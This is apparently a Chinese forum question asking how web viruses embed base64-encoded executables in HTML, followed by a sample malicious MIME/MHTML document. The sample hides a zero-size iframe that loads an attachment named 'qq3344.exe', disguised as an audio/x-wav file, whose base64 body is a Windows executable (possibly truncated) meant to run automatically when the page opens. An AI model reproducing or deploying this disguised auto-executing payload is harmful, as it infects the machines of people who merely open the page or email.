见到一些网页病毒经常把可执行代码用BASE64编码放入HTML,就像下边的例子,请问是怎么实现的? Content-Type: multipart/related; type="multipart/alternative"; boundary="====B====" --====B==== Content-Type: multipart/alternative; boundary="====A====" --====A==== Content-Type: text/html; Content-Transfer-Encoding: quoted-printable <iframe src=3Dcid:Mud height=3D0 width=3D0> </iframe> --====A====-- --====B==== Content-Type: audio/x-wav; name="qq3344.exe" Content-Transfer-Encoding: base64 Content-ID: <Mud> TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAwAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g NkJOhBJA73s/BGogQnZDsjPySdgQaNsaSNnb2drHdC6bdKpbY2m2jtluy5ZUmtjSYhbZWm2z VKs1s1o7S0NuG2labaUnvnfe9nvekSdktdS1y1FzN3Mh/Dd2Rd25ILbewfzINbewGgRW6ToC EhikyAJMgtTIJpMBWmQgpkE2mQ/DMAVmApDBKjiDuuX845bt17m7/Pf///2d85z7znPvPPOe ee/jz32ZMk9+8+c+8+c4B1HsjP69MZAuDh3GBRVQ1xIZG2JvXcuHyS4geTYzqz6IOlRx6j2d FZPZsSWyczwMLS+ROt0eIBWD+VvMaU1YOpa6mQ5eDUmmNa8MkRfnaKrirpAfwhjIPrMRGLcd YPbB/QRQr+9xps/NB2jjgMCXGi3FXqbDETrXkBySJK6uoR8MyHZDJ329wiqjIl3X0yEOnuzq seVpNPlot49Fm4ezQl75aVRHDvXI5Ind65kJkwEDC+x5yF9/xMiCT7mIvXJKGe9oUO3X+ORG n+viL40hPkrMLTY8+w9chvB1iKmN1h1j3I7TvYHePCDfq6gPnxwF9ahBJXS3vlNVCccK/bCT eoCSsGOPdAwUaIqQCoVUOpwyuBlBzIKjvwfCguQPeHOUB8QHoKsHWAcaCkcAHZgXcHwvQh19 VD9ID4hz5QNwk45/MkKVkOm1k3AA3IHKR8/mwoZVw7KD3iwHzYKEQD8+CqArYPRAagfwAq9Y D+OC/gTEUb0dmWA4mtBsJ7z574BGF3QkHypH+3cg93BunAh0k9vgK8BcrYfFrQdSWw1kFgBw pxzB6wHtgMtcD4oFUrodaBWwMBz2oKHJoxHnoF17WdxCGhUhejzDJwOhgaXYh6rEjmJbxFoR UEeBKSJdhCIj6I8iWsQsI6iUoQaboxpKyKdNXASvwbgJR+tE3pRr6mwamJfxLyI9CD8VrOJe xL6JdRFnMBxRK9kIN8EYBErFIoCJol8EWBH+DHQacI9iKQjubyBaYJfhLcJACXERdEtojsIE JeOnoN0ETxG8R+EVcwJii4iFBLSJdwFbTvcPvIzi0rvZVA9+G62Vv1bYwfG9kt8dvXynn5nz qr6P7cGQyd9OrdFItjUzMbEWqITaxpdDjOmwr6gwZwijA0P4iT69WdfatDtZHpb4D5m57/6f fbc61fib08ufyf6yl736u8eo/vsnwKN7gcF7IKxfC/dCwnFUEs6NSwbgFWGpsaJJiWM+yUgY FVwt75MdGrOWh3IjsxYMB2XrhGXdYmpmW9zUMUKOFhP23D6b2L5pSoQJ/xn/vi/cxkE/U8f6 57nZTOz7nYPY6yK4Y6WYPYydr/757/TyZyU7wdi765z/93JVPYPfmY3j/pTJTM8e4MaHcwwb Qjhg/OfloaZXCU7waebDBlw6Pg9nT1YH/VzeBT64PwYR9DwX+D6Upysnt6gwnaP8x/YP8x/Y P9U/xSHQj/FKbYS1vYuwfvZH/N+8A/wH94/wH94/wYHCbWDrfA0n/L85uIEwG8g9CD0oIGlb U3tQCqapKo4IZCrO5B+jHBrEbyTAjN5hhlCCXWVoY2xDyiJN5SUT3jncGqaUiNSIeRj18ksc AA= --====B==== --====B==== |
